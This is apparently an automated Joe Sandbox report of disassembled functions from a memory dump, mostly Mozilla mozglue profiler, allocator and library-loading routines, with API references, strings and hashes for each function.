Part of subcall function 6C9A94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C9A94EE
Part of subcall function 6C9A94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C9A9508

GetCurrentThreadId.KERNEL32 ref: 6C9AF637
AcquireSRWLockExclusive.KERNEL32(6C9EF4B8,?,?,00000000,?,6C9AF598), ref: 6C9AF645
ReleaseSRWLockExclusive.KERNEL32(6C9EF4B8,?,?,00000000,?,6C9AF598), ref: 6C9AF663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6C9AF62A

Memory Dump Source

Source File: 00000000.00000002.2735155734.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2735117280.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735261696.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735306206.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735347682.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: Currentgetenv$ExclusiveLockProcessThread$AcquireInit_thread_footerReleaseTerminate__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 1579816589-753366533
Opcode ID: 12b28d3b2159fd39c927440be4bfae936491006cf8536564aa65cbad92c7b0c2
Instruction ID: e1879e1a373abe1aa51c9055cfeb1370ac9163b44ab9269262a89e67be4e0c71
Opcode Fuzzy Hash: 12b28d3b2159fd39c927440be4bfae936491006cf8536564aa65cbad92c7b0c2
Instruction Fuzzy Hash: 5411A775205605AFCB84AF98D8489E5777DFFAA35CB201416EA0583F01DB72E826CBA4

Function 6C971FA0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 60libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C99AB89: EnterCriticalSection.KERNEL32(6C9EE370,?,?,?,6C9634DE,6C9EF6CC,?,?,?,?,?,?,?,6C963284), ref: 6C99AB94
Part of subcall function 6C99AB89: LeaveCriticalSection.KERNEL32(6C9EE370,?,6C9634DE,6C9EF6CC,?,?,?,?,?,?,?,6C963284,?,?,6C9856F6), ref: 6C99ABD1

LoadLibraryW.KERNEL32(combase.dll,?), ref: 6C971FDE
GetProcAddress.KERNEL32(00000000,CoCreateInstance), ref: 6C971FFD
__Init_thread_footer.LIBCMT ref: 6C972011
FreeLibrary.KERNEL32 ref: 6C972059

Strings

combase.dll, xrefs: 6C971FD9
CoCreateInstance, xrefs: 6C971FF7

Memory Dump Source

Source File: 00000000.00000002.2735155734.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2735117280.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735261696.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735306206.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735347682.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoCreateInstance$combase.dll
API String ID: 4190559335-2197658831
Opcode ID: 8b2094eb3b184429602b3c9e922f4d5e755ce8be4165474fec6e6eb7165eca3a
Instruction ID: 8f31875d8ca2668301e76d892be7034fafcae000e400072622c81176fbf291f8
Opcode Fuzzy Hash: 8b2094eb3b184429602b3c9e922f4d5e755ce8be4165474fec6e6eb7165eca3a
Instruction Fuzzy Hash: 9A112C75609204EBDF608F55D84DE6A3B79EFBE359F20402AE90692640CB31D910CEB1

Function 6C970EE0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 51libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C99AB89: EnterCriticalSection.KERNEL32(6C9EE370,?,?,?,6C9634DE,6C9EF6CC,?,?,?,?,?,?,?,6C963284), ref: 6C99AB94
Part of subcall function 6C99AB89: LeaveCriticalSection.KERNEL32(6C9EE370,?,6C9634DE,6C9EF6CC,?,?,?,?,?,?,?,6C963284,?,?,6C9856F6), ref: 6C99ABD1

LoadLibraryW.KERNEL32(combase.dll,00000000,?,6C99D9F0,00000000), ref: 6C970F1D
GetProcAddress.KERNEL32(00000000,CoInitializeEx), ref: 6C970F3C
__Init_thread_footer.LIBCMT ref: 6C970F50
FreeLibrary.KERNEL32(?,6C99D9F0,00000000), ref: 6C970F86

Strings

CoInitializeEx, xrefs: 6C970F36
combase.dll, xrefs: 6C970F18

Memory Dump Source

Source File: 00000000.00000002.2735155734.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2735117280.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735261696.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735306206.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735347682.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoInitializeEx$combase.dll
API String ID: 4190559335-2063391169
Opcode ID: 3cf65f6fe8c9abbcb795bc804a77deacc4e865e34af6de6928b633bea4984c22
Instruction ID: b676c1c2aa88471308af12c15927b2d26d4262a079336ec2b2dc6600965b077b
Opcode Fuzzy Hash: 3cf65f6fe8c9abbcb795bc804a77deacc4e865e34af6de6928b633bea4984c22
Instruction Fuzzy Hash: 5A11737460A240DBEF50CF95D908A653778EFBF329F24522AE90592740DB31E415CA65

Function 6C9AF540 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C9A9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C974A68), ref: 6C9A945E
Part of subcall function 6C9A9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C9A9470
Part of subcall function 6C9A9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C9A9482
Part of subcall function 6C9A9420: __Init_thread_footer.LIBCMT ref: 6C9A949F

GetCurrentThreadId.KERNEL32 ref: 6C9AF559
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C9AF561

Part of subcall function 6C9A94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C9A94EE
Part of subcall function 6C9A94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C9A9508

GetCurrentThreadId.KERNEL32 ref: 6C9AF577
AcquireSRWLockExclusive.KERNEL32(6C9EF4B8), ref: 6C9AF585
ReleaseSRWLockExclusive.KERNEL32(6C9EF4B8), ref: 6C9AF5A3

Strings

[I %d/%d] profiler_resume_sampling, xrefs: 6C9AF499
[D %d/%d] profiler_add_sampled_counter(%s), xrefs: 6C9AF56A
[I %d/%d] profiler_resume, xrefs: 6C9AF239
[I %d/%d] profiler_pause_sampling, xrefs: 6C9AF3A8

Memory Dump Source

Source File: 00000000.00000002.2735155734.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2735117280.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735261696.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735306206.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735347682.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_add_sampled_counter(%s)$[I %d/%d] profiler_pause_sampling$[I %d/%d] profiler_resume$[I %d/%d] profiler_resume_sampling
API String ID: 2848912005-2840072211
Opcode ID: 3ff0dd58e4657b3c75157baa95db13beecb4840fb2285a489ad0172204c941bf
Instruction ID: 93a42a3ae3067a7dd972a9743c6cb253c72eab6614be56bdaba885bf3163687f
Opcode Fuzzy Hash: 3ff0dd58e4657b3c75157baa95db13beecb4840fb2285a489ad0172204c941bf
Instruction Fuzzy Hash: 8EF054756043049FDB406BA5D84CA6A7BBDFFBE29DF204416EA0583701EB76C80587A9

Function 6C9AF600 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C9A9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C974A68), ref: 6C9A945E
Part of subcall function 6C9A9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C9A9470
Part of subcall function 6C9A9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C9A9482
Part of subcall function 6C9A9420: __Init_thread_footer.LIBCMT ref: 6C9A949F

GetCurrentThreadId.KERNEL32 ref: 6C9AF619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6C9AF598), ref: 6C9AF621

Part of subcall function 6C9A94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C9A94EE
Part of subcall function 6C9A94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C9A9508

GetCurrentThreadId.KERNEL32 ref: 6C9AF637
AcquireSRWLockExclusive.KERNEL32(6C9EF4B8,?,?,00000000,?,6C9AF598), ref: 6C9AF645
ReleaseSRWLockExclusive.KERNEL32(6C9EF4B8,?,?,00000000,?,6C9AF598), ref: 6C9AF663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6C9AF62A

Memory Dump Source

Source File: 00000000.00000002.2735155734.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2735117280.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735261696.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735306206.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735347682.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 2848912005-753366533
Opcode ID: 802c70fcc395602e3e8fe1285f664d55bc924bfb645c51a2486f854559f554cd
Instruction ID: cfd4dcafb69513db6cb2eb419df3cab5a0b87caa47a5c37ff53383c573de23b4
Opcode Fuzzy Hash: 802c70fcc395602e3e8fe1285f664d55bc924bfb645c51a2486f854559f554cd
Instruction Fuzzy Hash: E7F0B475204304AFDB406BA4D84CA6A7BBCFFFE29DF200416EA0583711DB36880687A8

Function 6C970E40 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 36libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(kernel32.dll,6C970DF8), ref: 6C970E82
GetProcAddress.KERNEL32(00000000,GetProcessMitigationPolicy), ref: 6C970EA1
__Init_thread_footer.LIBCMT ref: 6C970EB5
FreeLibrary.KERNEL32 ref: 6C970EC5

Strings

kernel32.dll, xrefs: 6C970E7D
GetProcessMitigationPolicy, xrefs: 6C970E9B

Memory Dump Source

Source File: 00000000.00000002.2735155734.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2735117280.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735261696.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735306206.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735347682.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: Library$AddressFreeInit_thread_footerLoadProc
String ID: GetProcessMitigationPolicy$kernel32.dll
API String ID: 391052410-1680159014
Opcode ID: 0dd5b5c6a5f2a2fd55f6c8fb3a419b8a608b444d900cfd1c69ca13055d01cc97
Instruction ID: cb9c7f8a0f3b5e6c6ec42031fb579f23d5260a6e7eaad4b66fb0197db783d528
Opcode Fuzzy Hash: 0dd5b5c6a5f2a2fd55f6c8fb3a419b8a608b444d900cfd1c69ca13055d01cc97
Instruction Fuzzy Hash: A0014B70B09381CBDF508FEAE854A4233B5EFAEB1CF20552AD90182B40EB33E4448A65

Function 6C9A05F0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 31stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(<jemalloc>,?,?,?,?,6C99CFAE,?,?,?,6C9631A7), ref: 6C9A05FB
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,<jemalloc>,00000000,6C99CFAE,?,?,?,6C9631A7), ref: 6C9A0616
strlen.API-MS-WIN-CRT-STRING-L1-1-0(: (malloc) Error in VirtualFree(),?,?,?,?,?,?,?,6C9631A7), ref: 6C9A061C
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,: (malloc) Error in VirtualFree(),00000000,?,?,?,?,?,?,?,?,6C9631A7), ref: 6C9A0627

Strings

<jemalloc>, xrefs: 6C9A05FA, 6C9A060F
: (malloc) Error in VirtualFree(), xrefs: 6C9A061B, 6C9A0625

Memory Dump Source

Source File: 00000000.00000002.2735155734.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2735117280.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735261696.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735306206.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735347682.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: _writestrlen
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 2723441310-2186867486
Opcode ID: 63580b97ba554b4e736c35958c7987b049da0421afda296d895078f98f1c07d4
Instruction ID: a38da1d309b1533c4685862c5a026f5d961b099aec86a31da728e9b2e11d8add
Opcode Fuzzy Hash: 63580b97ba554b4e736c35958c7987b049da0421afda296d895078f98f1c07d4
Instruction Fuzzy Hash: A7E08CE2A0111037F6142296AC86DBBB71CDBEA134F090039FD0D92701E94AFD1A52F6

Function 6C9705F0 Relevance: 9.2, APIs: 6, Instructions: 226COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2735155734.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2735117280.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735261696.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735306206.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735347682.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 212d9bbaa43b503b91853b73b553c92d5bfa7a1cfbba9234424a45246e1306a7
Instruction ID: 25e7542d1f47cc95e41a58ec81640489b08a0e7094f512fe028eb2741d4b8e12
Opcode Fuzzy Hash: 212d9bbaa43b503b91853b73b553c92d5bfa7a1cfbba9234424a45246e1306a7
Instruction Fuzzy Hash: 11A158B0A05705CFDB24CF29C994A99FBF5BF59304F1486AED44A97B00E731A945CFA0

Function 6C9C14A0 Relevance: 9.2, APIs: 6, Instructions: 176threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C9C14C5
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C9C14E2
GetCurrentThreadId.KERNEL32 ref: 6C9C1546
InitializeConditionVariable.KERNEL32(?), ref: 6C9C15BA
free.MOZGLUE(?), ref: 6C9C16B4

Memory Dump Source

Source File: 00000000.00000002.2735155734.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2735117280.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735261696.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735306206.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735347682.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: CurrentThread$ConditionInitializeNow@Stamp@mozilla@@TimeV12@_Variablefree
String ID:
API String ID: 1909280232-0
Opcode ID: 6df77ac436fef85cd87c91b40858f1121ce221d569c2ce2cf1e92143b90c5a65
Instruction ID: b7ddb7610c04cd1dd296049144f7fc88b74621e4345d0fe11369e7d7c606cb7f
Opcode Fuzzy Hash: 6df77ac436fef85cd87c91b40858f1121ce221d569c2ce2cf1e92143b90c5a65
Instruction Fuzzy Hash: D961E271A047409BDB11CF20C880BDEB7B8BFAA308F44851CED8A67711DB31E959CB96

Function 6C9B9F40 Relevance: 9.2, APIs: 6, Instructions: 157timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C9B9FDB
free.MOZGLUE(?,?), ref: 6C9B9FF0
free.MOZGLUE(?,?), ref: 6C9BA006
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C9BA0BE
free.MOZGLUE(?,?), ref: 6C9BA0D5
free.MOZGLUE(?,?), ref: 6C9BA0EB

Memory Dump Source

Source File: 00000000.00000002.2735155734.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2735117280.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735261696.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735306206.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735347682.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: acd5921a4f095752639b4424e4839b5adc42aac1a8b813739dc33195030f9f94
Instruction ID: ecde012a48f83f510aedcc496e44155f46f8d42b30e62f4fa8a7f7c302b9d0ea
Opcode Fuzzy Hash: acd5921a4f095752639b4424e4839b5adc42aac1a8b813739dc33195030f9f94
Instruction Fuzzy Hash: DD61B075409601EFD711CF18C48059AB3F5FFA8328F54865DE899AB702EB32E986CBD1

Function 6C9BDC50 Relevance: 9.1, APIs: 6, Instructions: 104timethreadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C9BDC60
AcquireSRWLockExclusive.KERNEL32(?,?,?,6C9BD38A,?), ref: 6C9BDC6F
free.MOZGLUE(?,?,?,?,?,6C9BD38A,?), ref: 6C9BDCC1
ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,6C9BD38A,?), ref: 6C9BDCE9
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,6C9BD38A,?), ref: 6C9BDD05
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000001,?,?,?,6C9BD38A,?), ref: 6C9BDD4A

Memory Dump Source

Source File: 00000000.00000002.2735155734.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2735117280.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735261696.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735306206.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735347682.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: ExclusiveLockStampTimeV01@@Value@mozilla@@$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 1842996449-0
Opcode ID: ecfffbfa313c3119c73eeb325b9484e013549dd20b99b9b7262b79afb88f6f98
Instruction ID: bda830ba8e9d07c23ddbb99ef156ffab56e8241b9105d3147a1d6a04f98b4e7a
Opcode Fuzzy Hash: ecfffbfa313c3119c73eeb325b9484e013549dd20b99b9b7262b79afb88f6f98
Instruction Fuzzy Hash: 7E417AB6A00605DFCB00CF99C88099BB7F9FF98314B254569D946ABB14D731FC04CB90

Function 6C9A6590 Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 342COMMON

Download Yara Rule

APIs

Part of subcall function 6C99FA80: GetCurrentThreadId.KERNEL32 ref: 6C99FA8D
Part of subcall function 6C99FA80: AcquireSRWLockExclusive.KERNEL32(6C9EF448), ref: 6C99FA99

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C9A6727
?GetOrAddIndex@UniqueJSONStrings@baseprofiler@mozilla@@AAEIABV?$Span@$$CBD$0PPPPPPPP@@3@@Z.MOZGLUE(?,?,?,?,?,?,?,00000001), ref: 6C9A67C8

Part of subcall function 6C9B4290: memcpy.VCRUNTIME140(?,?,6C9C2003,6C9C0AD9,?,6C9C0AD9,00000000,?,6C9C0AD9,?,00000004,?,6C9C1A62,?,6C9C2003,?), ref: 6C9B42C4

Strings

data, xrefs: 6C9A6593

Memory Dump Source

Source File: 00000000.00000002.2735155734.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2735117280.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735261696.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735306206.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735347682.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentIndex@P@@3@@ReleaseSpan@$$Strings@baseprofiler@mozilla@@ThreadUniquememcpy
String ID: data
API String ID: 511789754-2918445923
Opcode ID: 0ed58ec16937e4c8d389af97f2a2458db7abb2c9545fe2fd21312623da1fa46f
Instruction ID: 27cf290558b4b556e66a7ab402e139e226f6ca5b24cf264ed304f6a24c42e796
Opcode Fuzzy Hash: 0ed58ec16937e4c8d389af97f2a2458db7abb2c9545fe2fd21312623da1fa46f
Instruction Fuzzy Hash: 21D1CFB5A093409FD724CF68C840B9FB7E5AFE5308F14892DE18997B51DB30E94ACB52

Function 6C9BC810 Relevance: 9.1, APIs: 6, Instructions: 75COMMON

Download Yara Rule

APIs

??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000), ref: 6C9BC82D
??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6C9BC842

Part of subcall function 6C9BCAF0: ?_Getgloballocale@locale@std@@CAPAV_Locimp@12@XZ.MSVCP140(00000000,00000000,?,6C9DB5EB,00000000), ref: 6C9BCB12

?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,00000000), ref: 6C9BC863
std::_Facet_Register.LIBCPMT ref: 6C9BC875

Part of subcall function 6C99B13D: ??_U@YAPAXI@Z.MOZGLUE(00000008,?,?,6C9DB636,?), ref: 6C99B143

??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6C9BC89A
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C9BC8BC

Memory Dump Source

Source File: 00000000.00000002.2735155734.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2735117280.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735261696.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735306206.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735347682.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_Bid@locale@std@@Facet_Getcat@?$codecvt@Getgloballocale@locale@std@@Locimp@12@Mbstatet@@@std@@RegisterV42@@Vfacet@locale@2@abortstd::_
String ID:
API String ID: 2745304114-0
Opcode ID: f14278452ac75d6b480271c79164f3578cad342ecba4a36db2dd3bd3099fa406
Instruction ID: 6e29acee6d39ceda362bea6af0e471b8215f832c35521ce6ad83c8b21b797bf6
Opcode Fuzzy Hash: f14278452ac75d6b480271c79164f3578cad342ecba4a36db2dd3bd3099fa406
Instruction Fuzzy Hash: 1F11B671B043099BCB00EFA4D8C98AF7B78EFAD354B240129E606A7340DB30DD44CBA5

Function 6C9BCCF0 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 299COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(000000E0,00000000,?,6C9ADA31,00100000,?,?,00000000,?), ref: 6C9BCDA4

Part of subcall function 6C97CA10: malloc.MOZGLUE(?), ref: 6C97CA26

Part of subcall function 6C9BD130: InitializeConditionVariable.KERNEL32(00000010,00020000,00000000,00100000,?,6C9BCDBA,00100000,?,00000000,?,6C9ADA31,00100000,?,?,00000000,?), ref: 6C9BD158
Part of subcall function 6C9BD130: InitializeConditionVariable.KERNEL32(00000098,?,6C9BCDBA,00100000,?,00000000,?,6C9ADA31,00100000,?,?,00000000,?), ref: 6C9BD177

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE(?,?,00000000,?,6C9ADA31,00100000,?,?,00000000,?), ref: 6C9BCDC4

Part of subcall function 6C9B7480: ReleaseSRWLockExclusive.KERNEL32(?,6C9C15FC,?,?,?,?,6C9C15FC,?), ref: 6C9B74EB

moz_xmalloc.MOZGLUE(00000014,?,?,?,00000000,?,6C9ADA31,00100000,?,?,00000000,?), ref: 6C9BCECC

Part of subcall function 6C97CA10: mozalloc_abort.MOZGLUE(?), ref: 6C97CAA2

Part of subcall function 6C9ACB30: floor.API-MS-WIN-CRT-MATH-L1-1-0(?,?,00000000,?,6C9BCEEA,?,?,?,?,00000000,?,6C9ADA31,00100000,?,?,00000000), ref: 6C9ACB57
Part of subcall function 6C9ACB30: _beginthreadex.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000,00000000,6C9ACBE0,00000000,00000000,00000000,?,?,?,?,00000000,?,6C9BCEEA,?,?), ref: 6C9ACBAF

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,00000000,?,6C9ADA31,00100000,?,?,00000000,?), ref: 6C9BD058

Strings

CUZBEkQQzv.exeCEZKmUzgnQCUZBEkQQzv.exeCEZKmUzgnQCUZBEkQQzv.exeCEZKmUzgnQCUZBEkQQzv.exeCEZKmUzgnQCUZBEkQQzv.exeCEZKmUzgnQCUZBEkQQzv.exeCEZKmUzgnQCUZBEkQQzv.exeCEZKmUzgnQCUZBEkQQzv.exeCEZKmUzgnQCUZBEkQQzv.exeCEZKmUzgnQCUZBEkQQzv.exeCEZKmUzgnQ, xrefs: 6C9BCD2C

Memory Dump Source

Source File: 00000000.00000002.2735155734.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

